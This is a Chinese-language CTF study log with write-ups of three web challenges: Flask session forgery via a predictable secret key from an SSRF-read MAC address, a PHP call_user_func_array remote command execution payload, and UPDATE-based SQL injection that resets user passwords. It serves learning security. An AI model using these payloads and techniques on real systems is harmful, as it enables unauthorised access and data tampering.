完成事项
未完成的事项
下周待做的事
本周知识分享 [CISCN 2019华东南]Web4 url暴露了是ssrf
也确实是
响应头回显python,那么唯一能说的通的就是这题考点是flask
事实也确实如此
得到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import reimport randomimport uuidimport urllibfrom flask import Flask, session, requestapp = Flask(__name__) random.seed(uuid.getnode()) app.config['SECRET_KEY' ] = str (random.random() * 233 ) app.debug = True @app.route('/' ) def index (): session['username' ] = 'www-data' return 'Hello World! Read somethings' @app.route('/read' ) def read (): try : url = request.args.get('url' ) m = re.findall('^file.*' , url, re.IGNORECASE) n = re.findall('flag' , url, re.IGNORECASE) if m or n: return 'No Hack' res = urllib.urlopen(url) return res.read() except Exception as ex: print str (ex) return 'no response' @app.route('/flag' ) def flag (): if session and session['username' ] == 'fuck' : return open ('/flag.txt' ).read() else : return 'Access denied' if __name__ == '__main__' : app.run(debug=True , host="0.0.0.0" )
第33行代码直接就说明了本题的重点是session参数username=fuck,伪造session,那么select key在哪里
第10行代码给出了答案
1 2 3 4 app = Flask(__name__) random.seed(uuid.getnode()) app.config['SECRET_KEY' ] = str (random.random() * 233 ) app.debug = True
uuid.getnode是什么
UUID是一个通用唯一标识符 。您也可以将其称为GUID,即全局唯一标识符。但是,这是什么?让我们简单地了解一下。
UUID是128位长的数字或ID,用于唯一标识计算机系统中的文档,用户,资源或信息。
这里使用的是uuid1利用mac地址生成随机唯一id,也就是select key
首先获取mac地址
在Linux中可以直接利用 /sys/class/net/eth0/address获取到mac地址
构造select key生成脚本
1 2 3 4 import randoma=0x0242ac02e207 random.seed(a) print (str (random.random() * 233 ))
得到select key
最后利用伪造cookie就可以出flag了
[GFCTF 2021]Baby_Web 扫目录给了提示是CVE-2021-41773
得到了首页的源码
1 2 3 4 5 6 <?php error_reporting (0 ); define ("main" ,"main" );include "Class.php" ;$temp = new Temp ($_POST );$temp ->display ($_GET ['filename' ]);
上述代码似乎包含了一个名为class.php的文件,得到class的源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 <?php defined ('main' ) or die ("no!!" );Class Temp{ private $date =['version' =>'1.0' ,'img' =>'https://www.apache.org/img/asf-estd-1999-logo.jpg' ]; private $template ; public function __construct ($data ) { $this ->date = array_merge ($this ->date,$data ); } public function getTempName ($template ,$dir ) { if ($dir === 'admin' ){ $this ->template = str_replace ('..' ,'' ,'./template/admin/' .$template ); if (!is_file ($this ->template)){ die ("no!!" ); } } else { $this ->template = './template/index.html' ; } } public function display ($template ,$space ='' ) { extract ($this ->date); $this ->getTempName ($template ,$space ); include ($this ->template); } public function listdata ($_params ) { $system = [ 'db' => '' , 'app' => '' , 'num' => '' , 'sum' => '' , 'form' => '' , 'page' => '' , 'site' => '' , 'flag' => '' , 'not_flag' => '' , 'show_flag' => '' , 'more' => '' , 'catid' => '' , 'field' => '' , 'order' => '' , 'space' => '' , 'table' => '' , 'table_site' => '' , 'total' => '' , 'join' => '' , 'on' => '' , 'action' => '' , 'return' => '' , 'sbpage' => '' , 'module' => '' , 'urlrule' => '' , 'pagesize' => '' , 'pagefile' => '' , ]; $param = $where = []; $_params = trim ($_params ); $params = explode (' ' , $_params ); if (in_array ($params [0 ], ['list' ,'function' ])) { $params [0 ] = 'action=' .$params [0 ]; } foreach ($params as $t ) { $var = substr ($t , 0 , strpos ($t , '=' )); $val = substr ($t , strpos ($t , '=' ) + 1 ); if (!$var ) { continue ; } if (isset ($system [$var ])) { $system [$var ] = $val ; } else { $param [$var ] = $val ; } } switch ($system ['action' ]) { case 'function' : if (!isset ($param ['name' ])) { return 'hacker!!' ; } elseif (!function_exists ($param ['name' ])) { return 'hacker!!' ; } $force = $param ['force' ]; if (!$force ) { $p = []; foreach ($param as $var => $t ) { if (strpos ($var , 'param' ) === 0 ) { $n = intval (substr ($var , 5 )); $p [$n ] = $t ; } } if ($p ) { $rt = call_user_func_array ($param ['name' ], $p ); } else { $rt = call_user_func ($param ['name' ]); } return $rt ; }else { return null ; } case 'list' : return json_encode ($this ->date); } return null ; } }
对上面两段代码进行审计
首先看__construct类,接收$data的参数,并且与内部参数$data结合,data的参数包含一张图片地址
1 2 3 4 public function __construct ($data ) { $this ->date = array_merge ($this ->date,$data ); }
getTempName类,检验目录是否是admin,如果是则加载/template/admin/的模板文件,如果不是则加载/template/index.html的模板文件
1 2 3 4 5 6 7 8 9 10 11 public function getTempName ($template ,$dir ) { if ($dir === 'admin' ){ $this ->template = str_replace ('..' ,'' ,'./template/admin/' .$template ); if (!is_file ($this ->template)){ die ("no!!" ); } } else { $this ->template = './template/index.html' ; } }
display类,首先将data的值转换为局部变量,再调用getTempName中的模板文件最后包含显示模板文件
1 2 3 4 5 6 public function display ($template ,$space ='' ) { extract ($this ->date); $this ->getTempName ($template ,$space ); include ($this ->template); }
最后listdata类,对传入的键值进行转换
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 public function listdata ($_params ) { $system = [ 'db' => '' , 'app' => '' , 'num' => '' , 'sum' => '' , 'form' => '' , 'page' => '' , 'site' => '' , 'flag' => '' , 'not_flag' => '' , 'show_flag' => '' , 'more' => '' , 'catid' => '' , 'field' => '' , 'order' => '' , 'space' => '' , 'table' => '' , 'table_site' => '' , 'total' => '' , 'join' => '' , 'on' => '' , 'action' => '' , 'return' => '' , 'sbpage' => '' , 'module' => '' , 'urlrule' => '' , 'pagesize' => '' , 'pagefile' => '' , ]; $param = $where = []; $_params = trim ($_params ); $params = explode (' ' , $_params ); if (in_array ($params [0 ], ['list' ,'function' ])) { $params [0 ] = 'action=' .$params [0 ]; } foreach ($params as $t ) { $var = substr ($t , 0 , strpos ($t , '=' )); $val = substr ($t , strpos ($t , '=' ) + 1 ); if (!$var ) { continue ; } if (isset ($system [$var ])) { $system [$var ] = $val ; } else { $param [$var ] = $val ; } } switch ($system ['action' ]) { case 'function' : if (!isset ($param ['name' ])) { return 'hacker!!' ; } elseif (!function_exists ($param ['name' ])) { return 'hacker!!' ; } $force = $param ['force' ]; if (!$force ) { $p = []; foreach ($param as $var => $t ) { if (strpos ($var , 'param' ) === 0 ) { $n = intval (substr ($var , 5 )); $p [$n ] = $t ; } } if ($p ) { $rt = call_user_func_array ($param ['name' ], $p ); } else { $rt = call_user_func ($param ['name' ]); } return $rt ; }else { return null ; } case 'list' : return json_encode ($this ->date); } return null ; } }
在第二段代码中提到了两个存放模板文件的文件位置,那我们可以尝试访问一下发现这里这里调用了listdata方法
不难发现可以利用call_user_func_array进行rce,
1 2 3 4 5 6 7 if ($p ) { $rt = call_user_func_array ($param ['name' ], $p ); } else { $rt = call_user_func ($param ['name' ]); }
(其实做到这这里我已经开始头晕了,说实话有点看不懂了,看了wp也是一知半解)
那么如何构造payload呢
首先需要filename=index .html space==admin,重点是如何利用call_user_func_array进行rce,如果要走到
call_user_func_array,我们要的是, <font style="color:rgb(48, 49, 51);">$param['name']=system</font>
,先纵观整个switch语句,首先action=function,才有后续的内容,这是我们需要控制的一个地方。接着走,需要绕过第一个
<font style="color:rgb(48, 49, 51);">if(!isset($param['name']),</font>
那我们要让force=false,才有后续。继续,定义了数组p,遍历param里的值,赋给循环中的t,接着一个 <font style="color:rgb(48, 49, 51);">if(strpos($var,'param')===0)</font>
此处保证的是 <font style="color:rgb(48, 49, 51);">$var='param0xxxxx'</font>
,通过下面的 <font style="color:rgb(48, 49, 51);">intval(substr($var,5))</font>
,也就是 <font style="color:rgb(48, 49, 51);">intval('0xxxxx')</font>
导致 <font style="color:rgb(48, 49, 51);">$n=0</font>
,下一句就是 <font style="color:rgb(48, 49, 51);">$p[$n]=$t;</font>
,所以 <font style="color:rgb(48, 49, 51);">$p[0]=$t;</font>
其中的 <font style="color:rgb(48, 49, 51);">$t</font>
,就是我们可以控制的 <font style="color:rgb(48, 49, 51);">$var=cmd</font>
那么param的前身是个空数组,通过的是 <font style="color:rgb(48, 49, 51);">foreach($params as $t)</font>
进入一个if循环里赋值得来的。所以再去找 <font style="color:rgb(48, 49, 51);">$params</font>
,那么listdata传入的形参叫做 <font style="color:rgb(48, 49, 51);">$_params</font>
,通过 <font style="color:rgb(48, 49, 51);">trim()</font>
进行分割得到的。而trim函数就是用空格来分割的,所以我们最终传入的 <font style="color:rgb(48, 49, 51);">$_params</font>
想要分割就用空格,接着走到一个if语句
综上所述,构造payload
1 2 ?filename=index.html POST: space=admin&mod=xxx action=function name =system param =cat $ {IFS}/f*>/var /www/html/a
[HUBUCTF 2022 新生赛]ezsql 这题我记得是加固题来着的,关键点在于这题涉及到updata相关特性
扫到源码了
在源码的updata.php中找到注点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php require_once ("db.inc.php" );session_start ();if (!isset ($_SESSION ['login' ])){ header ('Location:login.php' ); die (); } $stmt =$mysqli ->prepare ("select * from users where id=?" );$stmt ->bind_param ('i' ,$_SESSION ['id' ]);$res =$stmt ->execute ();if (!$res ){ header ('Location:index.php?message=error' ); die ("Fata error" ); } $user =Array ();while ($row =$stmt ->fetch ()){ $user =$row ; } $stmt ->close ();if (!get_magic_quotes_gpc ())foreach ($_POST as $key =>$value ){ $_POST [$key ]=addslashes ($value ); } $query =$mysqli ->query ("update users set age=$_POST [age],nickname='$_POST [nickname]',description='$_POST [description]' where id=$_SESSION [id]" );if (!$query ){ $mysqli ->close (); header ('Location:index.php?message=error' ); die ('Update error' ); } else { header ('Location:index.php' ); $mysqli ->close (); die ('Update message success' ); } ?>
这一段确认了注入点
1 $query =$mysqli ->query ("update users set age=$_POST [age],nickname='$_POST [nickname]',description='$_POST [description]' where id=$_SESSION [id]" );
接下来就是常规手注入
得知密码会以md5方式的存储后就
然后修改表内所有的用户密码为123
然后就出了